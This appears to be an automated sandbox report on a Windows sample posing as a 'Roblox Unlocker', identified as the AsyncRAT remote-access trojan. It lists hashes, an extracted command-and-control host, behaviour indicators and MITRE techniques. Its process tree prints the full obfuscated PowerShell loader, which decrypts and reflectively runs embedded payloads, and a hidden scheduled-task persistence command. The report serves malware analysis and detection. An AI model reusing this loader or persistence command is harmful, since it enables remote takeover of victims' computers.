asyncrat | 617023ed4b3f150c482e18ce7771dfc02ded6d329e532a75989d3e1601ba1000

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
30/04/2024, 09:40

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Roblox Unlocker.exe
Size 117KB
Sample240430-lnhpcshc26
SHA256 d782d8d0048a395c2a62634c683eb1c42fab260f1b9fc06c0be74bda902f355e
MD5 5f1cffaa565ddfcc581cf3ef5d287af7
SHA1 2b7fad5b35debdb34dce97e4eb5c404500f8f4f2
SHA512 9996ec249c796a6d12dbe63ff0b7ae72b43c7c7087ccb5d74598b13f1212a808b7aa2a0816cc3d9b16c37de34432f57c4ad3a415ea4cbedc14c1c85ebbeb8839
SSDEEP 768:Fbzb8+fzkioTv90gtYcF2Z1x6KhFn6sCKB:9b8KkT10Mg1xlhFn6sCKB
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

asyncrat rbxfps rat

Malware Config

Extracted

Family

asyncrat

Version

AsyncRAT

Botnet

RbxFps

eve.now-dns.net:313

Mutex

AsyncMutex_raw

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/3780-94-0x00000000063C0000-0x00000000063D6000-memory.dmp	family_asyncrat

Blocklisted process makes network request 3 IoCs

flow	pid	Process
32	3780	powershell.exe
33	3780	powershell.exe
45	3780	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000\Control Panel\International\Geo\Nation	Roblox Unlocker.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings	Roblox Unlocker.exe
Key created	\REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3880	Roblox Unlocker.exe
2920	powershell.exe
2920	powershell.exe
2996	powershell.exe
2996	powershell.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
2996	powershell.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
3780	powershell.exe
3780	powershell.exe
3780	powershell.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
3780	powershell.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe
4936	rbx.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3880	Roblox Unlocker.exe
Token: SeDebugPrivilege	2920	powershell.exe
Token: SeDebugPrivilege	2996	powershell.exe
Token: SeIncreaseQuotaPrivilege	2996	powershell.exe
Token: SeSecurityPrivilege	2996	powershell.exe
Token: SeTakeOwnershipPrivilege	2996	powershell.exe
Token: SeLoadDriverPrivilege	2996	powershell.exe
Token: SeSystemProfilePrivilege	2996	powershell.exe
Token: SeSystemtimePrivilege	2996	powershell.exe
Token: SeProfSingleProcessPrivilege	2996	powershell.exe
Token: SeIncBasePriorityPrivilege	2996	powershell.exe
Token: SeCreatePagefilePrivilege	2996	powershell.exe
Token: SeBackupPrivilege	2996	powershell.exe
Token: SeRestorePrivilege	2996	powershell.exe
Token: SeShutdownPrivilege	2996	powershell.exe
Token: SeDebugPrivilege	2996	powershell.exe
Token: SeSystemEnvironmentPrivilege	2996	powershell.exe
Token: SeRemoteShutdownPrivilege	2996	powershell.exe
Token: SeUndockPrivilege	2996	powershell.exe
Token: SeManageVolumePrivilege	2996	powershell.exe
Token: 33	2996	powershell.exe
Token: 34	2996	powershell.exe
Token: 35	2996	powershell.exe
Token: 36	2996	powershell.exe
Token: SeIncreaseQuotaPrivilege	2996	powershell.exe
Token: SeSecurityPrivilege	2996	powershell.exe
Token: SeTakeOwnershipPrivilege	2996	powershell.exe
Token: SeLoadDriverPrivilege	2996	powershell.exe
Token: SeSystemProfilePrivilege	2996	powershell.exe
Token: SeSystemtimePrivilege	2996	powershell.exe
Token: SeProfSingleProcessPrivilege	2996	powershell.exe
Token: SeIncBasePriorityPrivilege	2996	powershell.exe
Token: SeCreatePagefilePrivilege	2996	powershell.exe
Token: SeBackupPrivilege	2996	powershell.exe
Token: SeRestorePrivilege	2996	powershell.exe
Token: SeShutdownPrivilege	2996	powershell.exe
Token: SeDebugPrivilege	2996	powershell.exe
Token: SeSystemEnvironmentPrivilege	2996	powershell.exe
Token: SeRemoteShutdownPrivilege	2996	powershell.exe
Token: SeUndockPrivilege	2996	powershell.exe
Token: SeManageVolumePrivilege	2996	powershell.exe
Token: 33	2996	powershell.exe
Token: 34	2996	powershell.exe
Token: 35	2996	powershell.exe
Token: 36	2996	powershell.exe
Token: SeIncreaseQuotaPrivilege	2996	powershell.exe
Token: SeSecurityPrivilege	2996	powershell.exe
Token: SeTakeOwnershipPrivilege	2996	powershell.exe
Token: SeLoadDriverPrivilege	2996	powershell.exe
Token: SeSystemProfilePrivilege	2996	powershell.exe
Token: SeSystemtimePrivilege	2996	powershell.exe
Token: SeProfSingleProcessPrivilege	2996	powershell.exe
Token: SeIncBasePriorityPrivilege	2996	powershell.exe
Token: SeCreatePagefilePrivilege	2996	powershell.exe
Token: SeBackupPrivilege	2996	powershell.exe
Token: SeRestorePrivilege	2996	powershell.exe
Token: SeShutdownPrivilege	2996	powershell.exe
Token: SeDebugPrivilege	2996	powershell.exe
Token: SeSystemEnvironmentPrivilege	2996	powershell.exe
Token: SeRemoteShutdownPrivilege	2996	powershell.exe
Token: SeUndockPrivilege	2996	powershell.exe
Token: SeManageVolumePrivilege	2996	powershell.exe
Token: 33	2996	powershell.exe
Token: 34	2996	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4936	rbx.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
4936	rbx.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3780	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 3880 wrote to memory of 3796	3880	Roblox Unlocker.exe	85
PID 3880 wrote to memory of 3796	3880	Roblox Unlocker.exe	85
PID 3880 wrote to memory of 4936	3880	Roblox Unlocker.exe	87
PID 3880 wrote to memory of 4936	3880	Roblox Unlocker.exe	87
PID 3796 wrote to memory of 4808	3796	cmd.exe	89
PID 3796 wrote to memory of 4808	3796	cmd.exe	89
PID 3796 wrote to memory of 2920	3796	cmd.exe	90
PID 3796 wrote to memory of 2920	3796	cmd.exe	90
PID 3796 wrote to memory of 2920	3796	cmd.exe	90
PID 2920 wrote to memory of 2996	2920	powershell.exe	98
PID 2920 wrote to memory of 2996	2920	powershell.exe	98
PID 2920 wrote to memory of 2996	2920	powershell.exe	98
PID 2920 wrote to memory of 3756	2920	powershell.exe	104
PID 2920 wrote to memory of 3756	2920	powershell.exe	104
PID 2920 wrote to memory of 3756	2920	powershell.exe	104
PID 3756 wrote to memory of 4464	3756	WScript.exe	105
PID 3756 wrote to memory of 4464	3756	WScript.exe	105
PID 3756 wrote to memory of 4464	3756	WScript.exe	105
PID 4464 wrote to memory of 4008	4464	cmd.exe	108
PID 4464 wrote to memory of 4008	4464	cmd.exe	108
PID 4464 wrote to memory of 4008	4464	cmd.exe	108
PID 4464 wrote to memory of 3780	4464	cmd.exe	109
PID 4464 wrote to memory of 3780	4464	cmd.exe	109
PID 4464 wrote to memory of 3780	4464	cmd.exe	109

C:\Users\Admin\AppData\Local\Temp\Roblox Unlocker.exe
"C:\Users\Admin\AppData\Local\Temp\Roblox Unlocker.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3880
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\driver\rbx.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3796
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JsdCX5vQF6G5Gjs+VAZ1qwNac3N9twpOnPe7tP9iEzw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Pf8hM46F3LXAhqJ+iFyesw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $mYXQD=New-Object System.IO.MemoryStream(,$param_var); $shiDA=New-Object System.IO.MemoryStream; $FZWQP=New-Object System.IO.Compression.GZipStream($mYXQD, [IO.Compression.CompressionMode]::Decompress); $FZWQP.CopyTo($shiDA); $FZWQP.Dispose(); $mYXQD.Dispose(); $shiDA.Dispose(); $shiDA.ToArray();}function execute_function($param_var,$param2_var){ $bOUWC=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uKCgI=$bOUWC.EntryPoint; $uKCgI.Invoke($null, $param2_var);}$kVZWi = 'C:\Users\Admin\AppData\Local\Temp\driver\rbx.bat';$host.UI.RawUI.WindowTitle = $kVZWi;$zDIvy=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($kVZWi).Split([Environment]::NewLine);foreach ($tuvqa in $zDIvy) { if ($tuvqa.StartsWith('BYSYpExqvRBVuAbLAjNe')) { $pgkRt=$tuvqa.Substring(20); break; }}$payloads_var=[string[]]$pgkRt.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:4808
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass
    3⤵
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2920
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_850_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_850.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2996
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_850.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:3756
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_850.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4464
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JsdCX5vQF6G5Gjs+VAZ1qwNac3N9twpOnPe7tP9iEzw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Pf8hM46F3LXAhqJ+iFyesw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $mYXQD=New-Object System.IO.MemoryStream(,$param_var); $shiDA=New-Object System.IO.MemoryStream; $FZWQP=New-Object System.IO.Compression.GZipStream($mYXQD, [IO.Compression.CompressionMode]::Decompress); $FZWQP.CopyTo($shiDA); $FZWQP.Dispose(); $mYXQD.Dispose(); $shiDA.Dispose(); $shiDA.ToArray();}function execute_function($param_var,$param2_var){ $bOUWC=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uKCgI=$bOUWC.EntryPoint; $uKCgI.Invoke($null, $param2_var);}$kVZWi = 'C:\Users\Admin\AppData\Roaming\Windows_Log_850.bat';$host.UI.RawUI.WindowTitle = $kVZWi;$zDIvy=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($kVZWi).Split([Environment]::NewLine);foreach ($tuvqa in $zDIvy) { if ($tuvqa.StartsWith('BYSYpExqvRBVuAbLAjNe')) { $pgkRt=$tuvqa.Substring(20); break; }}$payloads_var=[string[]]$pgkRt.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:4008
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass
        6⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:3780
- C:\Users\Admin\AppData\Local\Temp\driver\rbx.exe
  "C:\Users\Admin\AppData\Local\Temp\driver\rbx.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:4936

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 37bd9078411576470f38bed628682d66786194692355541cd16f323e8f17c1ff
MD5 55d32bc1c206428fe659912b361362de
SHA1 7056271e5cf73b03bafc4e616a0bc5a4cffc810f
SHA512 2602abc70c0ed7e5ba63a3c7190015c2b30aa3223fbbe65fd9ddc001e84ab393bb172a9488dd988cd6368d668ab8608f85dc03cdb7c9561e904e3f7ce103485c
MD5 SHA1 SHA512

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 20KB
SHA256 056aa2a23ffe3d78f5b4b901783b453ddd83bab834331babafb4ecf6ccbc514b
MD5 37fde3c177052fa23f84daba2307e354
SHA1 dc354f0ea1ed99a4654b24d832d9bd3d7d00be32
SHA512 546d9f1f3c8c031ce4251268ebefe9e97d36073feca3d21e97755add3b29cc329ccd73ec41dcc6e5c42ad3f936744d8787940443a094a44563634f98a1c2be4b
SSDEEP 384:Irf+Cy+q9i+oa3QFiBBimzItt24Zo9owTJK6seY3nebx/xojLYbLU0eF5ct9KCAG:SftyyOQco/84qowTJNKnqMY/Xsct9arO
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_v3ofjra3.tsk.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v3ofjra3.tsk.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

Windows_Log_850.bat

Path C:\Users\Admin\AppData\Roaming\Windows_Log_850.bat
Size 54KB
SHA256 7dc7716419e5aedddf48867e040a27e073dc963a28ae42c1c00b712bab7eda8e
MD5 a20946d508bd3df46ed28a63e443b34c
SHA1 d4720022e902dd71b2ef6edda0984d1355087a2d
SHA512 05309614e9756a070af9e7394744c85fae7086ccee1998aed9ddc57a3c88bbc425704505e26b689d78445611d560ede7e6759f77b05b2112e129dd3112fb8993
SSDEEP 1536:WusujFe83DYALWoT+7l1xNbFWA3Aa6fmzLB2zaz0:SYMWkALWooWAgePczaz0
MD5 SHA1 SHA512 SSDEEP

Submit Download

Windows_Log_850.vbs

Path C:\Users\Admin\AppData\Roaming\Windows_Log_850.vbs
Size 115B
SHA256 eddbfb658bee8223418d74f11c82f1d6f8320e56d5bb45f52bd56452b50f3e58
MD5 19bf514186f40d4b84ca611bbe64e8d6
SHA1 0842a6bc4553cbf025dfcfe836e9ef3849179e91
SHA512 e9f02b7303aadd9119d70eaf07cbff95e18449e6e41563b238c8b03a9531e28a554bd8e413b94542018906339f039204881aa2bb52a31be022bccc208a04f5b9
MD5 SHA1 SHA512

Submit Download

memory/2920-46-0x0000000007A70000-0x0000000007A78000-memory.dmp

Download

memory/2920-48-0x0000000008C00000-0x00000000091A4000-memory.dmp

Download

memory/2920-17-0x0000000005840000-0x0000000005E68000-memory.dmp

Download

memory/2920-18-0x0000000005490000-0x00000000054B2000-memory.dmp

Download

memory/2920-19-0x0000000005530000-0x0000000005596000-memory.dmp

Download

memory/2920-20-0x00000000055A0000-0x0000000005606000-memory.dmp

Download

memory/2920-28-0x0000000005F70000-0x00000000062C4000-memory.dmp

Download

memory/2920-31-0x00000000065C0000-0x00000000065DE000-memory.dmp

Download

memory/2920-32-0x0000000006600000-0x000000000664C000-memory.dmp

Download

memory/2920-42-0x0000000007760000-0x00000000077A4000-memory.dmp

Download

memory/2920-43-0x00000000078D0000-0x0000000007946000-memory.dmp

Download

memory/2920-44-0x0000000007FD0000-0x000000000864A000-memory.dmp

Download

memory/2920-45-0x0000000007970000-0x000000000798A000-memory.dmp

Download

memory/2920-16-0x0000000002C00000-0x0000000002C36000-memory.dmp

Download

memory/2920-47-0x0000000007A90000-0x0000000007AA0000-memory.dmp

Download

memory/2996-74-0x0000000007A90000-0x0000000007AA1000-memory.dmp

Download

memory/2996-59-0x0000000007760000-0x0000000007792000-memory.dmp

Download

memory/2996-60-0x0000000070D90000-0x0000000070DDC000-memory.dmp

Download

memory/2996-70-0x0000000006AA0000-0x0000000006ABE000-memory.dmp

Download

memory/2996-71-0x00000000077A0000-0x0000000007843000-memory.dmp

Download

memory/2996-72-0x0000000007900000-0x000000000790A000-memory.dmp

Download

memory/2996-73-0x0000000007B10000-0x0000000007BA6000-memory.dmp

Download

memory/3780-94-0x00000000063C0000-0x00000000063D6000-memory.dmp

Download

memory/3780-95-0x0000000007C50000-0x0000000007CE2000-memory.dmp

Download

memory/3780-96-0x0000000007C40000-0x0000000007C4A000-memory.dmp

Download

memory/3780-99-0x0000000007F20000-0x0000000007FBC000-memory.dmp

Download

memory/3880-15-0x00007FFFA84C0000-0x00007FFFA8F81000-memory.dmp

Download

memory/3880-11-0x00000236E7CC0000-0x00000236E7CE2000-memory.dmp

Download

memory/3880-12-0x00000236FFED0000-0x00000236FFEE0000-memory.dmp

Download

memory/3880-10-0x00007FFFA84C0000-0x00007FFFA8F81000-memory.dmp

Download

memory/3880-0-0x00000236E6030000-0x00000236E6050000-memory.dmp

Download